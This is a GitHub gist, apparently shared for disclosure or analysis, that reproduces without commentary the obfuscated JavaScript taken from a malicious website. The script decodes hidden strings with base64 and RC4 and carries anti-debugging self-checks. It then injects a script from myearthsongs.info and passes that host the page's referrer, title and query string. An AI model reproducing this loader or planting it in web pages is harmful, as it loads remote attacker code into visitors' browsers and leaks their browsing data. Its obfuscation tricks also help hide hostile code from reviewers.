Skip to content

Instantly share code, notes, and snippets.

@qbi
Created May 20, 2019 09:19
Show Gist options
  • Save qbi/6d6db948f4cc13d880f46c99b3d93cf9 to your computer and use it in GitHub Desktop.
Save qbi/6d6db948f4cc13d880f46c99b3d93cf9 to your computer and use it in GitHub Desktop.
Code from a malicious website
<
script type = 'text/javascript' >
var ttzza = ['R8OSw7rCuWPCt2NQwppQw47Cgn4=', 'w7F/OcKIw4UYwrpmw7bDr2LCiMOH', 'OkHDg8OBwrNLasOCEB4=', 'M8OBAcKqwowDw7dmUcOGw77DkA==', 'wrpiEFA=', 'wr7DlMKnB11CScOJw6ttw7E=', 'w6fDkcOLwpFLPcKOCsKwwrLDuxjCqA==', 'w7vDkzs=', 'OEXDl8OBwq9NQcOf', 'w43Cp8K/GH8=', 'JmsTUjN9', 'woDDnsOKw4U0dk4=', 'bEbDg8OJw6BMR8OfHQvChjrCrRXCqXrDlGbCp8Kze8OCwrZFwoxZOV/CsR9AKsOhwoTDnsOsQR09worDgsKOw5UyFC7Dk8K3w4rCgcK/w5LDkg=='];
(function(c, d) {
var e = function(f) {
while (--f) {
c['push'](c['shift']());
}
};
var g = function() {
var h = {
'data': {
'key': 'cookie',
'value': 'timeout'
},
'setCookie': function(i, j, k, l) {
l = l || {};
var m = j + '=' + k;
var n = 0x0;
for (var n = 0x0, p = i['length']; n < p; n++) {
var q = i[n];
m += ';\x20' + q;
var r = i[q];
i['push'](r);
p = i['length'];
if (r !== !![]) {
m += '=' + r;
}
}
l['cookie'] = m;
},
'removeCookie': function() {
return 'dev';
},
'getCookie': function(s, t) {
s = s || function(u) {
return u;
};
var v = s(new RegExp('(?:^|;\x20)' + t['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
var w = function(x, y) {
x(++y);
};
w(e, d);
return v ? decodeURIComponent(v[0x1]) : undefined;
}
};
var z = function() {
var A = new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');
return A['test'](h['removeCookie']['toString']());
};
h['updateCookie'] = z;
var B = '';
var C = h['updateCookie']();
if (!C) {
h['setCookie'](['*'], 'counter', 0x1);
} else if (C) {
B = h['getCookie'](null, 'counter');
} else {
h['removeCookie']();
}
};
g();
}(ttzza, 0x1e7));
var ttzzb = function(c, d) {
c = c - 0x0;
var e = ttzza[c];
if (ttzzb['lvutuN'] === undefined) {
(function() {
var f;
try {
var g = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');');
f = g();
} catch (h) {
f = window;
}
var i = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
f['atob'] || (f['atob'] = function(j) {
var k = String(j)['replace'](/=+$/, '');
for (var l = 0x0, m, n, o = 0x0, p = ''; n = k['charAt'](o++); ~n && (m = l % 0x4 ? m * 0x40 + n : n, l++ % 0x4) ? p += String['fromCharCode'](0xff & m >> (-0x2 * l & 0x6)) : 0x0) {
n = i['indexOf'](n);
}
return p;
});
}());
var q = function(r, d) {
var t = [],
u = 0x0,
v, w = '',
x = '';
r = atob(r);
for (var y = 0x0, z = r['length']; y < z; y++) {
x += '%' + ('00' + r['charCodeAt'](y)['toString'](0x10))['slice'](-0x2);
}
r = decodeURIComponent(x);
for (var A = 0x0; A < 0x100; A++) {
t[A] = A;
}
for (A = 0x0; A < 0x100; A++) {
u = (u + t[A] + d['charCodeAt'](A % d['length'])) % 0x100;
v = t[A];
t[A] = t[u];
t[u] = v;
}
A = 0x0;
u = 0x0;
for (var B = 0x0; B < r['length']; B++) {
A = (A + 0x1) % 0x100;
u = (u + t[A]) % 0x100;
v = t[A];
t[A] = t[u];
t[u] = v;
w += String['fromCharCode'](r['charCodeAt'](B) ^ t[(t[A] + t[u]) % 0x100]);
}
return w;
};
ttzzb['nXuQoi'] = q;
ttzzb['cFXlJH'] = {};
ttzzb['lvutuN'] = !![];
}
var C = ttzzb['cFXlJH'][c];
if (C === undefined) {
if (ttzzb['JppTRV'] === undefined) {
var D = function(E) {
this['NptxXd'] = E;
this['XnGvOI'] = [0x1, 0x0, 0x0];
this['SSHvqf'] = function() {
return 'newState';
};
this['CObEqA'] = '\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';
this['HsDVVp'] = '[\x27|\x22].+[\x27|\x22];?\x20*}';
};
D['prototype']['qCarvi'] = function() {
var F = new RegExp(this['CObEqA'] + this['HsDVVp']);
var G = F['test'](this['SSHvqf']['toString']()) ? --this['XnGvOI'][0x1] : --this['XnGvOI'][0x0];
return this['TqOESI'](G);
};
D['prototype']['TqOESI'] = function(H) {
if (!Boolean(~H)) {
return H;
}
return this['fxeoJD'](this['NptxXd']);
};
D['prototype']['fxeoJD'] = function(I) {
for (var J = 0x0, K = this['XnGvOI']['length']; J < K; J++) {
this['XnGvOI']['push'](Math['round'](Math['random']()));
K = this['XnGvOI']['length'];
}
return I(this['XnGvOI'][0x0]);
};
new D(ttzzb)['qCarvi']();
ttzzb['JppTRV'] = !![];
}
e = ttzzb['nXuQoi'](e, d);
ttzzb['cFXlJH'][c] = e;
} else {
e = C;
}
return e;
};
var c = function() {
var c = !![];
return function(d, e) {
var f = c ? function() {
if (e) {
var g = e['apply'](d, arguments);
e = null;
return g;
}
} : function() {};
c = ![];
return f;
};
}();
var f = c(this, function() {
var c = function() {
return '\x64\x65\x76';
},
d = function() {
return '\x77\x69\x6e\x64\x6f\x77';
};
var e = function() {
var f = new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');
return !f['\x74\x65\x73\x74'](c['\x74\x6f\x53\x74\x72\x69\x6e\x67']());
};
var g = function() {
var h = new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');
return h['\x74\x65\x73\x74'](d['\x74\x6f\x53\x74\x72\x69\x6e\x67']());
};
var i = function(j) {
var k = ~-0x1 >> 0x1 + 0xff % 0x0;
if (j['\x69\x6e\x64\x65\x78\x4f\x66']('\x69' === k)) {
l(j);
}
};
var l = function(m) {
var n = ~-0x4 >> 0x1 + 0xff % 0x0;
if (m['\x69\x6e\x64\x65\x78\x4f\x66']((!![] + '')[0x3]) !== n) {
i(m);
}
};
if (!e()) {
if (!g()) {
i('\x69\x6e\x64\u0435\x78\x4f\x66');
} else {
i('\x69\x6e\x64\x65\x78\x4f\x66');
}
} else {
i('\x69\x6e\x64\u0435\x78\x4f\x66');
}
});
f();
var ttzz_d = document;
var ttzz_e = ttzz_d[ttzzb('0x0', '(VEL')]('script');
ttzz_e[ttzzb('0x1', '1sR*')] = 'https://myearthsongs.info/jscount?se_referrer=' + encodeURIComponent(document[ttzzb('0x2', 'w$$^')]) + '&default_keyword=' + encodeURIComponent(document[ttzzb('0x3', 'Nq6L')]) + '&' + window['location'][ttzzb('0x4', 'PsF)')][ttzzb('0x5', '9P7r')]('?', '&') + ttzzb('0x6', 'w$$^');
if (document[ttzzb('0x7', '7tYU')]) {
document[ttzzb('0x8', '&8IL')][ttzzb('0x9', 'w$$^')][ttzzb('0xa', 'LK2b')](ttzz_e, document['currentScript']);
} else {
ttzz_d['getElementsByTagName'](ttzzb('0xb', 'avFn'))[0x0][ttzzb('0xc', 'em$X')](ttzz_e);
} < /script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment